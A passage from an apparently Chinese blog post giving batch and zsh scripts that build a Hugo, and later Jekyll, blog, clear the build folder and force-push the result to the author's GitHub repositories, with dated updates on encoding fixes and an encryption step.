</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">cd</span> /d <span class="s2">&#34;D:\Blog\public&#34;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">echo</span> 添加所有文件
</span></span><span class="line"><span class="ln">20</span><span class="cl">git add -A
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">echo</span> 提交代码
</span></span><span class="line"><span class="ln">23</span><span class="cl">git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m <span class="s2">&#34;推送Hugo博客&#34;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">echo</span> 推送到Github仓库
</span></span><span class="line"><span class="ln">26</span><span class="cl">git push --force origin main
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="k">echo</span> 推送完成！
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="k">pause</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="p">@</span><span class="c1">REM Blog是博客站点根目录，不需要推送，只需要推送public内文件夹，本来想着写,gitignore忽略所有文件，但排除public内文件。但是一直不成功，所以写这个脚本。</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="p">@</span><span class="c1">REM public内有git配置，分支是main，直接推送即可</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="p">@</span><span class="c1">REM 详情参考：https://h4cker.zip/post/39697d/</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bat</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p><code>@REM</code>是注释的意思</p>
<h2 id="20251006-更新rspress类把git文件夹都删除的项目用">2025/10/06 更新（rspress类把.git文件夹都删除的项目用）<a class="anchor" href="#20251006-更新rspress类把git文件夹都删除的项目用">#</a></h2>
<p>最近用rspress翻译了个文档，这个工具主页跟vuepress很像，但是性能碾压。而且一套工具链都极其完善，不愧是服务字节跳动整个集团web端的部门。</p>
<p>我在翻译RAMN文档的时候，发现，他生成的静态网站文件是将doc_build文件夹清空，再往里生成文件，这和hugo、hexo都是相反的。</p>
<p>所以也会清空 <code>.git</code> 文件夹，有各种方法在项目根目录建立git，然后只上传doc_build里的内容。但是不想折腾了，就用下面这个方法吧</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git init
</span></span><span class="line"><span class="ln">2</span><span class="cl">git add .
</span></span><span class="line"><span class="ln">3</span><span class="cl">git commit -m <span class="s2">&#34;Initial commit&#34;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">git remote add origin https://github.com/TajangSec/RAMN_docs.git
</span></span><span class="line"><span class="ln">5</span><span class="cl">git push --force origin main</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="20260224-更新">2026/02/24 更新<a class="anchor" href="#20260224-更新">#</a></h2>
<p>莫名奇妙，好像是系统更新的锅，找不到原因，脚本是GBK/ANSI，终端也是这个，但是打印乱码，脚本设置为UTF-8或utf-8-bom才行。这里貌似是编码乱七八糟加上中文导致字符解析错误。</p>
<p>算了，重置一版脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">@</span><span class="k">echo</span> off
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="p">:</span><span class="c1">: ============================================================</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="p">:</span><span class="c1">: 脚本说明：</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">:</span><span class="c1">: 1. 仅推送 D:\Blog\public 目录下的内容到 GitHub</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="p">:</span><span class="c1">: 2. public 目录内已配置 Git 远程仓库 (main 分支)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">:</span><span class="c1">: 3. 参考：https://h4cker.zip/post/39697d/</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="p">:</span><span class="c1">: ============================================================</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">echo</span> [1/6] 正在进入 D:\Blog 目录...
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">cd</span> /d <span class="s2">&#34;D:\Blog&#34;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">echo</span> [2/6] 清理 public 目录（保留 .git）...
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">if</span> <span class="k">exist</span> public <span class="p">(</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">for</span> /d <span class="se">%%</span>x <span class="k">in</span> <span class="p">(</span>public\*<span class="p">)</span> <span class="k">do</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">if</span> <span class="k">/i</span> <span class="k">not</span> <span class="s2">&#34;</span><span class="se">%%</span><span class="s2">~nx&#34;</span><span class="o">==</span><span class="s2">&#34;.git&#34;</span> <span class="k">rmdir</span> /s /q <span class="s2">&#34;</span><span class="se">%%</span><span class="s2">x&#34;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">del</span> /q public\*
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="k">echo</span> [3/6] Hugo 开始构建站点...
</span></span><span class="line"><span class="ln">22</span><span class="cl">hugo --gc --minify
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="k">echo</span> [4/6] 进入 public 目录准备推送...
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">cd</span> /d <span class="s2">&#34;D:\Blog\public&#34;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="k">echo</span> [5/6] 提交更改...
</span></span><span class="line"><span class="ln">28</span><span class="cl">git add -A
</span></span><span class="line"><span class="ln">29</span><span class="cl">git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m <span class="s2">&#34;站点更新：</span><span class="nv">%date%</span><span class="s2"> </span><span class="nv">%time%</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="k">echo</span> [6/6] 推送到 Github 仓库...
</span></span><span class="line"><span class="ln">32</span><span class="cl">git push --force origin main
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="k">cd</span> ..
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="k">echo</span>.
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="k">echo</span> 推送任务已完成！
</span></span><span class="line"><span class="ln">37</span><span class="cl">pause</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bat</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="20260302更新">2026/03/02更新<a class="anchor" href="#20260302更新">#</a></h2>
<p>由于更新了文章加密功能，所以在上传前有个加密脚本的运行</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">@</span><span class="k">echo</span> off
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="p">:</span><span class="c1">: ============================================================</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="p">:</span><span class="c1">: 脚本说明：</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">:</span><span class="c1">: 1. 仅推送 D:\Blog\public 目录下的内容到 GitHub</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="p">:</span><span class="c1">: 2. public 目录内已配置 Git 远程仓库 (main 分支)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">:</span><span class="c1">: 3. 参考：https://h4cker.zip/post/39697d/</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="p">:</span><span class="c1">: ============================================================</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">echo</span> [1/7] 正在进入 D:\Blog 目录...
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">cd</span> /d <span class="s2">&#34;D:\Blog&#34;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">echo</span> [2/7] 清理 public 目录（保留 .git）...
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">if</span> <span class="k">exist</span> public <span class="p">(</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">for</span> /d <span class="se">%%</span>x <span class="k">in</span> <span class="p">(</span>public\*<span class="p">)</span> <span class="k">do</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">if</span> <span class="k">/i</span> <span class="k">not</span> <span class="s2">&#34;</span><span class="se">%%</span><span class="s2">~nx&#34;</span><span class="o">==</span><span class="s2">&#34;.git&#34;</span> <span class="k">rmdir</span> /s /q <span class="s2">&#34;</span><span class="se">%%</span><span class="s2">x&#34;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">del</span> /q public\*
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="k">echo</span> [3/7] Hugo 开始构建站点...
</span></span><span class="line"><span class="ln">22</span><span class="cl">hugo --gc --minify
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="k">echo</span> [4/7] 正在执行 AES-GCM 加密处理...
</span></span><span class="line"><span class="ln">24</span><span class="cl">py encrypt_process.py
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">if</span> <span class="nv">%errorlevel%</span> <span class="ow">neq</span> 0 <span class="p">(</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="k">echo</span> 加密脚本执行失败，请检查 Python 依赖。
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="k">pause</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">exit</span> /b <span class="nv">%errorlevel%</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="k">echo</span> [5/7] 进入 public 目录准备推送...
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="k">cd</span> /d <span class="s2">&#34;D:\Blog\public&#34;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="k">echo</span> [6/7] 提交更改...
</span></span><span class="line"><span class="ln">35</span><span class="cl">git add -A
</span></span><span class="line"><span class="ln">36</span><span class="cl">git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m <span class="s2">&#34;站点更新：</span><span class="nv">%date%</span><span class="s2"> </span><span class="nv">%time%</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="k">echo</span> [7/7] 推送到 Github 仓库...
</span></span><span class="line"><span class="ln">39</span><span class="cl">git push --force origin main
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="k">cd</span> ..
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="k">echo</span>.
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="k">echo</span> 推送任务已完成！
</span></span><span class="line"><span class="ln">44</span><span class="cl">pause</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bat</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="20260616-更新">2026/06/16 更新<a class="anchor" href="#20260616-更新">#</a></h2>
<p>没想到中间迭代那么多次，现在都换 jekyll 加换电脑了。</p>
<h3 id="博客备份">博客备份<a class="anchor" href="#博客备份">#</a></h3>
<p>博客根目录可以推送到远程的<code>Blog-backup</code></p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#!/bin/zsh
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nv">BLOG_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/Blog-jekyll&#34;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;[1/3] 进入博客...&#34;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nb">cd</span> <span class="s2">&#34;</span><span class="nv">$BLOG_DIR</span><span class="s2">&#34;</span> <span class="o">||</span> <span class="nb">exit</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;[2/3] 添加文件...&#34;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1"># 只有有变更时才提交</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">if</span> ! git diff --quiet <span class="o">||</span> ! git diff --cached --quiet<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  git add -A
</span></span><span class="line"><span class="ln">12</span><span class="cl">  git commit -m <span class="s2">&#34;博客备份：</span><span class="k">$(</span>date <span class="s1">&#39;+%Y-%m-%d %H:%M:%S&#39;</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;⚠️  无变更，跳过提交&#34;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;[3/3] 推送...&#34;</span>
